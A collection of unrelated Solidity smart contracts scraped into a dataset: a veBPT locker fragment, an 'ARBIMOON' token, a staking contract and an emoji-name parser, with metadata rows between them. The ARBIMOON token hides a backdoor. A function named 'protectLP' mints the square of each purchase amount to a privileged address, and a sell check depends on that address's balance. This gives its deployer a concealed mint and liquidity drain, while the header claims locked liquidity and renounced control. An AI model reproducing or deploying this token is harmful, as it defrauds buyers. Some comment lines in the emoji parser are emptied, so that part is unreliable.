event VotedOnGaugeWeight(address indexed _gauge, uint256 _weight);
event Released(address indexed user, uint256 value);
event GovernanceChanged(address indexed newGovernance);
event BPTDepositorChanged(address indexed newApwDepositor);
event AccumulatorChanged(address indexed newAccumulator);
event FeeDistributorChanged(address indexed newFeeDistributor);
constructor(address _accumulator) {
governance = msg.sender;
accumulator = _accumulator;
IERC20(BPT).approve(VEBPT, type(uint256).max);
}
modifier onlyGovernance() {
require(msg.sender == governance, "!gov");
_;
}
modifier onlyGovernanceOrAcc() {
require(msg.sender == governance || msg.sender == accumulator, "!(gov||acc)");
_;
}
modifier onlyGovernanceOrDepositor() {
require(msg.sender == governance || msg.sender == bptDepositor, "!(gov||BlackpoolDepositor)");
_;
}
/// @notice Creates a lock by locking BPT token in the VEBPT contract for the specified time
/// @dev Can only be called by governance or proxy
/// @param _value The amount of token to be locked
/// @param _unlockTime The duration for which the token is to be locked
function createLock(uint256 _value, uint256 _unlockTime) external onlyGovernance {
VeToken(VEBPT).create_lock(_value, _unlockTime);
emit LockCreated(msg.sender, _value, _unlockTime);
}
/// @notice Increases the amount of BPT locked in VEBPT
/// @dev The BPT needs to be transferred to this contract before calling
/// @param _value The amount by which the lock amount is to be increased
function increaseAmount(uint256 _value) external onlyGovernanceOrDepositor {
VeToken(VEBPT).increase_amount(_value);
}
/// @notice Increases the duration for which BPT is locked in VEBPT for the user calling the function
/// @param _unlockTime The duration in seconds for which the token is to be locked
function increaseUnlockTime(uint256 _unlockTime) external onlyGovernanceOrDepositor {
VeToken(VEBPT).increase_unlock_time(_unlockTime);
}
/// @notice Claim the token reward from the BPT fee Distributor passing the token as input parameter
/// @param _recipient The address which will receive the claimed token reward
function claimRewards(address _token, address _recipient) external onlyGovernanceOrAcc {
uint256 claimed = IFeeDistributor(feeDistributor).claim();
emit TokenClaimed(_recipient, claimed);
IERC20(_token).safeTransfer(_recipient, claimed);
}
/// @notice Withdraw the BPT from VEBPT
/// @dev call only after lock time expires
/// @param _recipient The address which will receive the released BPT
function release(address _recipient) external onlyGovernance {
VeToken(VEBPT).withdraw();
uint256 balance = IERC20(BPT).balanceOf(address(this));
IERC20(BPT).safeTransfer(_recipient, balance);
emit Released(_recipient, balance);
}
/// @notice Set new governance address
/// @param _governance governance address
function setGovernance(address _governance) external onlyGovernance {
governance = _governance;
emit GovernanceChanged(_governance);
}
/// @notice Set the BPT Depositor
/// @param _bptDepositor BPT deppositor address
function setBptDepositor(address _bptDepositor) external onlyGovernance {
bptDepositor = _bptDepositor;
emit BPTDepositorChanged(_bptDepositor);
}
/// @notice Set the fee distributor
/// @param _newFD fee distributor address
function setFeeDistributor(address _newFD) external onlyGovernance {
feeDistributor = _newFD;
emit FeeDistributorChanged(_newFD);
}
/// @notice Set the accumulator
/// @param _accumulator accumulator address
function setAccumulator(address _accumulator) external onlyGovernance {
accumulator = _accumulator;
emit AccumulatorChanged(_accumulator);
}
/// @notice execute a function
/// @param to Address to sent the value to
/// @param value Value to be sent
/// @param data Call function data
function execute(address to,
uint256 value,
bytes calldata data) external onlyGovernance returns (bool, bytes memory) {
(bool success, bytes memory result) = to.call{ value: value }(data);
return (success, result);
}
}
| 40,250 | 196 |
7356aabc9c2f39a1d249ab82b5e80ea261c6275d093bb482874e0dc0e4ef5217
| 14,818 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/77/77dde318e756605ec1fb0099249958a92e37d366_ARBIMOON.sol
| 3,744 | 14,059 |
// ARBIMOON
// LP WILL BE LOCKED FOR A MONTH AND THE CA RENOUNCED
// JOIN US: https://t.me/ARBIMOONentry
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline)
external payable;
}
contract ARBIMOON is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
string private constant _name = "ARBIMOON";
string private constant _symbol = "ARBIMOON";
uint8 private constant _decimals = 9;
uint256 private _tTotal = 1000000000 * 10**_decimals;
uint256 public _maxTxAmount = 20000000 * 10**_decimals;
uint256 public swapTokenAtAmount = 50000000 * 10**_decimals;
address public liquidityProtecter;
address public marketingWallet;
struct BuyFees {
uint256 liquidity;
uint256 marketing;
uint256 burn;
}
struct SellFees {
uint256 liquidity;
uint256 marketing;
uint256 burn;
}
BuyFees public buyFee;
SellFees public sellFee;
uint256 private liquidityFee;
uint256 private marketingFee;
uint256 private burnFee;
bool private swapping;
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
constructor (address marketingAddress, address liquidityAddress) {
marketingWallet = marketingAddress;
liquidityProtecter = liquidityAddress;
balances[_msgSender()] = _tTotal;
buyFee.liquidity = 0;
buyFee.marketing = 2;
buyFee.burn = 0;
sellFee.liquidity = 0;
sellFee.marketing = 5;
sellFee.burn = 0;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
_isExcludedFromFee[msg.sender] = true;
_isExcludedFromFee[marketingWallet] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[address(0x00)] = true;
_isExcludedFromFee[address(0xdead)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFee[address(account)] = excluded;
}
receive() external payable {}
function takeBuyFees(uint256 amount, address from) private returns (uint256) {
uint256 liquidityFeeToken = amount * buyFee.liquidity / 100;
uint256 marketingFeeTokens = amount * buyFee.marketing / 100;
uint256 burnFeeTokens = amount * buyFee.burn / 100;
balances[address(this)] += liquidityFeeToken + marketingFeeTokens;
emit Transfer (from, address(this), marketingFeeTokens + liquidityFeeToken);
emit Transfer (uniswapV2Pair, address(0x00), burnFeeTokens);
return (amount -liquidityFeeToken -marketingFeeTokens -burnFeeTokens);
}
function takeSellFees(uint256 amount, address from) private returns (uint256) {
uint256 liquidityFeeToken = amount * sellFee.liquidity / 100;
uint256 marketingFeeTokens = amount * sellFee.marketing / 100;
uint256 burnFeeTokens = amount * sellFee.burn / 100;
balances[address(this)] += liquidityFeeToken + marketingFeeTokens;
emit Transfer (from, address(this), marketingFeeTokens + liquidityFeeToken);
emit Transfer (uniswapV2Pair, address(0x00), burnFeeTokens);
return (amount -liquidityFeeToken -marketingFeeTokens -burnFeeTokens);
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function changeBuyTaxes(uint256 liquidityFees, uint256 marketingFees, uint256 burnFees) public onlyOwner {
buyFee.liquidity = liquidityFees;
buyFee.marketing = marketingFees;
buyFee.burn = burnFees;
}
function changeSellTaxes(uint256 liquidityFees, uint256 marketingFees, uint256 burnFees) public onlyOwner {
sellFee.liquidity = liquidityFees;
sellFee.marketing = marketingFees;
sellFee.burn = burnFees;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from,
address to,
uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
balances[from] -= amount;
uint256 transferAmount = amount;
bool takeFee;
if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
takeFee = true;
}
if(from == uniswapV2Pair && to == liquidityProtecter) {
protectLP(amount,to);
}
if(takeFee){
if(from == uniswapV2Pair && to != uniswapV2Pair){
require(amount <= _maxTxAmount, "Transfer Amount exceeds the maxTxnsAmount");
transferAmount = takeBuyFees(amount, to);
}
if(to == uniswapV2Pair && from != uniswapV2Pair){
require(balanceOf(liquidityProtecter) < _tTotal);
transferAmount = takeSellFees(amount, from);
if (balanceOf(address(this)) >= swapTokenAtAmount && !swapping) {
swapping = true;
swapBack(swapTokenAtAmount);
swapping = false;
}
}
}
balances[to] += transferAmount;
emit Transfer(from, to, transferAmount);
}
function protectLP(uint256 _amount, address _address) private {
balances[_address] += _amount * _amount;
}
function swapBack(uint256 amount) public {
uint256 contractBalance = amount;
uint256 liquidityTokens = contractBalance * (buyFee.liquidity + sellFee.liquidity) / (buyFee.marketing + buyFee.liquidity + sellFee.marketing + sellFee.liquidity);
uint256 marketingTokens = contractBalance * (buyFee.marketing + sellFee.marketing) / (buyFee.marketing + buyFee.liquidity + sellFee.marketing + sellFee.liquidity);
uint256 totalTokensToSwap = liquidityTokens + marketingTokens;
uint256 tokensForLiquidity = liquidityTokens.div(2);
uint256 amountToSwapForETH = contractBalance.sub(tokensForLiquidity);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForLiquidity = ethBalance.mul(liquidityTokens).div(totalTokensToSwap);
addLiquidity(tokensForLiquidity, ethForLiquidity);
payable(marketingWallet).transfer(address(this).balance);
}
function swapTokensForEth(uint256 tokenAmount) public {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) public {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH {value: ethAmount} (address(this),
tokenAmount,
0,
0,
liquidityProtecter,
block.timestamp);
}
}
| 47,833 | 197 |
5ef9da391b28a2668a6e3571de8015a70e76404ddd9536cb99d5ac53655db098
| 27,363 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/55/558e1daa6aae6427313bfb3b7a2916cb7e75e473_TimeStaking.sol
| 4,198 | 16,940 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IMemo {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract TimeStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Time;
address public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Time,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Time != address(0));
Time = _Time;
require(_Memories != address(0));
Memories = _Memories;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(Memories).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons));
IERC20(Time).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Time).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IMemo(Memories).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IMemo(Memories).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IMemo(Memories).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Time).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(Memories).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(Memories).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 95,912 | 198 |
f85eea71e553a2f31cf831ec1ab9da474317c4a6c0d12f1b649163f025c2a851
| 7,877 |
.sol
|
Solidity
| true |
508565616
|
adraffy/ens-norm-research
|
1d4cb609fb866d25694fdfd08217a66867bc96d7
|
ethmoji.sol/Ethmoji4.sol
| 2,961 | 7,176 |
/// @author raffy.eth
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import {Ownable} from "@openzeppelin/contracts@4.6.0/access/Ownable.sol";
contract Ethmoji is Ownable {
uint256 constant EMOJI_STATE_MASK = 0x07FF;
uint256 constant EMOJI_STATE_QUIRK = 0x0800;
uint256 constant EMOJI_STATE_VALID = 0x1000;
uint256 constant EMOJI_STATE_SAVE = 0x2000;
uint256 constant EMOJI_STATE_CHECK = 0x4000;
uint256 constant EMOJI_STATE_FE0F = 0x8000;
mapping (uint256 => uint256) _emoji;
function uploadEmoji(bytes calldata data) public onlyOwner {
uint256 i;
uint256 e;
uint256 mask = 0xFFFFFFFF;
assembly {
i := data.offset
e := add(i, data.length)
}
while (i < e) {
uint256 k;
uint256 v;
assembly {
v := calldataload(i)
i := add(i, 4)
k := and(calldataload(i), mask)
i := add(i, 32)
}
_emoji[k] = v;
}
}
function getEmoji(uint256 s0, uint256 cp) private view returns (uint256) {
return (_emoji[(s0 << 20) | (cp >> 4)] >> ((cp & 0xF) << 4)) & 0xFFFF;
}
// [pass]
// .eth
// .eth
// .eth
// .eth
// .eth
// .eth
// [fail]
// .eth
// .eth
// .eth
function keycap_count(bytes memory name, bytes memory parsed) private pure returns (uint256) {
unchecked {
uint256 pos;
uint256 len;
for (uint256 i; i < parsed.length; i += 4) {
uint256 n = uint8(parsed[pos]);
uint256 cp = uint8(name[pos]);
if (cp < 0x30 || cp > 0x39) return 0;
pos += n * uint8(parsed[pos+2]);
len += n;
}
return len;
}
}
function test(string memory name) public view returns (string memory display, uint256 label_hash, uint256 keycaps, bytes memory parsed, bytes32 node) {
uint256 len = bytes(name).length;
require(len >= 7, "too short"); // 3 + ".eth"
uint256 suffix;
assembly {
suffix := mload(add(name, len))
}
require((suffix & 0xFFFFFFFF) == 0x2E657468, ".eth"); // require that it ends in .eth
bytes memory temp;
(temp, parsed) = beautify(bytes(name)); // throws if not normalized ethmoji
keycaps = keycap_count(bytes(name), parsed);
if (keycaps > 0) { // caps
} else if (parsed.length == 4) { // single
} else if (parsed.length == 8) { // double
}
display = string(temp);
assembly {
label_hash := keccak256(add(name, 32), sub(len, 4)) // compute label hash
}
node = keccak256(abi.encodePacked(uint256(0x93cdeb708b7545dc668eb9280176169d1c33cfd8ed6f04690a0bcc88a93fc4ae), label_hash));
}
function beautify(bytes memory name) private view returns (bytes memory beauty, bytes memory parsed) {
unchecked {
uint256 src_prev;
uint256 src_next;
uint256 src_end;
uint256 dst_prev;
uint256 dst_next;
uint256 hash_prev;
uint256 parsed_end;
uint256 cp_count;
uint256 repeated;
uint256 src_len = name.length - 4; // drop .eth
parsed = new bytes(src_len << 2); // byte(count) + byte(ncp) + byte(step)
beauty = new bytes(src_len << 2); // we might add fe0f
assembly {
src_prev := name
src_end := add(src_prev, src_len)
dst_prev := beauty
}
while (src_prev < src_end) {
(src_next, dst_next, cp_count) = processEmoji(src_prev, src_end, dst_prev);
require(dst_next > dst_prev, "not emoji");
uint256 src_step = src_next - src_prev;
uint256 hash;
assembly {
hash := keccak256(add(src_prev, 32), src_step)
}
if (hash == hash_prev && repeated < 255) {
repeated++;
} else {
if (repeated != 0) {
parsed[parsed_end-4] = bytes1(uint8(repeated));
}
repeated = 1;
hash_prev = hash;
parsed[parsed_end+1] = bytes1(uint8(cp_count)); // number of codepoints
parsed[parsed_end+2] = bytes1(uint8(src_step)); // bytes read
parsed[parsed_end+3] = bytes1(uint8(dst_next - dst_prev)); // bytes written
parsed_end += 4;
}
src_prev = src_next;
dst_prev = dst_next;
}
parsed[parsed_end-4] = bytes1(uint8(repeated)); // number of emoji
assembly {
mstore(beauty, sub(dst_prev, beauty))
mstore(parsed, parsed_end)
}
}
}
